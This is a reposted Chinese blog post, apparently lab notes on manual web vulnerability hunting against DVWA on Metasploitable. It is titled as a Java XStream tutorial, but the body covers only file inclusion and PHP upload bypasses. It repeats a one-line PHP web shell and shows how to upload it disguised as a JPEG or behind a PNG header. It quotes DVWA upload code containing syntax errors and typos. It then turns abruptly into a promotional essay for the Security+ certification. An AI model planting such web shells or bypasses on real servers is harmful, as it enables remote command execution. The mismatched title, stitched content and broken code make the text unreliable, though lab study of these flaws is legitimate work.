漏洞挖掘 Java xstream 漏洞挖掘教程

转载

数据探索家 2024-06-19 09:18:44

文章标签 漏洞挖掘 Java xstream Security+ 信息安全安全漏洞 文章分类 Java 后端开发

手动漏洞挖掘

本地文件包含lfi

查看文件

代码执行

<?php echo shell_exec($_GET['cmd']);?>

Apache access.log

远程文件包含rfi

出现概率少于lfi，但更容易被利用

/usr/share/wfuzz/wordlist/vulns/

手动漏洞挖掘

文件上传漏洞

<?php echo shell_exec($_GET['cmd']);?>

直接上传webshell

修改文件类型上传webshell

Mimetype----文件头、扩展名

修改扩展名上传webshell

静态解析文件扩展名时可能无法执行

文件头绕过过滤上传webshell

上传目录权限

root@kali:~# vi 1.oho

<?php echo shell_exec($_GET['cmd']);?>

-------------------------------------------------------------------------

低安全代码

<?php
    if (isset($_POST['Upload'])) {   
        $target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path = $target_path . basename( $_FILES['uploade']['name']
        if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
            echo '<pre>';
            echo 'Your image was not uploaded.';
            echo  '</pre>';
         } else {
            echo '<pre>';
            echo $target_path . ' successfully uploaded!';
            echo '</pre>';
         }
    }
?>

----------------------------------------------------------------------------

中安全代码

<?php
    if (isset($_POST['Upload'])) {   
        $target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path = $target_path . basename( $_FILES['uploade']['name']
        $uploaded_name = $_FILES['uploade']['name']
        $uploaded_name = $_FILES['uploade']['type']
        $uploaded_name = $_FILES['uploade']['size']
        if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
            echo '<pre>';
            echo 'Your image was not uploaded.';
            echo  '</pre>';
         } else {
            echo '<pre>';
            echo $target_path . ' successfully uploaded!';
            echo '</pre>';
         }
    }
?>

-------------------------------------------------------------------------------------

msfadmin@metasploitable:~$ cd /var/www/dvwa/hackable/uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm 1*
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm 1.png
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls
dvwa_email.png
root@kali:~# minetype
root@kali:~# minetype 1.php
1.php: application/x-php
root@kali:~# cd 桌面/
root@kali:~/桌面# minetype 1.png
1.png: image/png
root@kali:~/桌面# minetype 1.jpg
1.jpg: image/jpeg
root@kali:~/桌面# cd ..
root@kali:~/# ls
1.php    hs_err_pid2958.log      公共  视频  文档  音乐
?????    ZAP_2.4.3_Linux.tar.gz  模板  图片  下载  桌面
root@kali:~/# 1.php
root@kali:~/# cp 1.php a.jpg
root@kali:~/# ls
1.php  a.jpg                   hs_err_pid2958.log  模板  图片  下载  桌面
?????  ZAP_2.4.3_Linux.tar.gz  公共                视频  文档  音乐
root@kali:~/# minetype a.jpg
a.jpg: applicaton/x-php

-------------------------------------------------------------------------------

高安全代码

<?php
    if (isset($_POST['Upload'])) {   
        $target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path = $target_path . basename( $_FILES['uploade']['name']
        $uploaded_name = $_FILES['uploade']['name']
        $uploaded_ext = substr($uploaded_name,strrpos($uploaded_name. '.') +1);
        $uploaded_name = $_FILES['uploade']['size']     
        if(($uploaded_ext == "jgp" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
            if(!move_uploaded_file($_FILES('uploaded']['tmp_name']. $target_path)) {
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo  '</pre>';
             } else {
                echo '<pre>';
                echo $target_path . ' successfully uploaded!';
                echo '</pre>';
             }
        }
    }
?>

---------------------------------------------------------------------------------

msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo rm *

把图片信息删除，换成<?php echo shell_exec($_GET['cmd']);?>

msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls

2.jpg 2.php.jpeg

msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ cat 2.jpeg
cat: 2.jpeg: Permission denied
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo cat 2.jpeg
*PNG
<?php echo shell_exec($_GET['cmd']);?>msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ sudo  cat 2.php.jpeg
<?php echo shell_exec($_GET['cmd']);?>msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:48 2.jpeg
-rw------- 1 www-date www-data 46 2016-01-19 07:51 2.php.jpeg
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ cd ..
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls
uploads  users
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:51 uploads
-rw------- 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ sudo chmod o-x uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:51 uploads
-rw------- 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ sudo -i
msfadmin@metasploitable:~$ cd /var/www/dvwa/hackable/uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable/uploads$ ls -l
total 8
-rw------- 1 www-date www-data 46 2016-01-19 07:48 2.jpeg
-rw------- 1 www-date www-data 46 2016-01-19 07:51 2.php.jpeg
msfadmin@metasploitable:/var/www/dvwa/hackable$ cd ..
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls
uploads  users
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
drwxr-xr-- 1 www-date www-data 46 2016-01-19 07:51 uploads
drwxr-xr-x 1 www-date www-data 46 2016-01-19 07:22 users
msfadmin@metasploitable:/var/www/dvwa/hackable$ chmod a-x uploads/
msfadmin@metasploitable:/var/www/dvwa/hackable$ ls -l
total 8
drw-r-xr-- 1 www-date www-data 46 2016-01-19 07:51 uploads
drwxr-xr-x 1 www-date www-data 46 2016-01-19 07:22 users

Security+ 认证是一种中立第三方认证，其发证机构为美国计算机行业协会CompTIA ；是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一，和CISSP偏重信息安全管理相比，Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全，合规性和操作安全，威胁和漏洞，应用程序、数据和主机安全，访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易，含金量较高，目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因？

原因一：在所有信息安全认证当中，偏重信息安全技术的认证是空白的，

目前行业内受认可的信息安全认证主要有CISP和CISSP，但是无论CISP还是CISSP都是偏重信息安全管理的，技术知识讲的宽泛且浅显，考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上，CISP也要求大专学历4年以上工作经验，这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中，无论是找工作还是升职加薪，或是投标时候报人员，认证都是必不可少的，这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍，由于Security+偏重信息安全技术，所以对工作经验没有特别的要求。只要你有IT相关背景，追求进步就可以学习和考试。

原因二：

在银行、证券、保险、信息通讯等行业，IT运维人员非常多，IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍，死亦写代码”的悲壮，但也有着“锄禾日当午，不如运维苦“的感慨。天天对着电脑和机器，时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识，掌握网络安全实践。职业发展朝着网络安全的方向发展，解决国内信息安全人才的匮乏问题。另外，即使不转型，要做好运维工作，学习安全知识取得安全认证也是必不可少的。

原因三：接地气、国际范儿、考试方便、费用适中！

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下，人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的，相信Security+认证一定会成为最火爆的信息安全认证。

本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。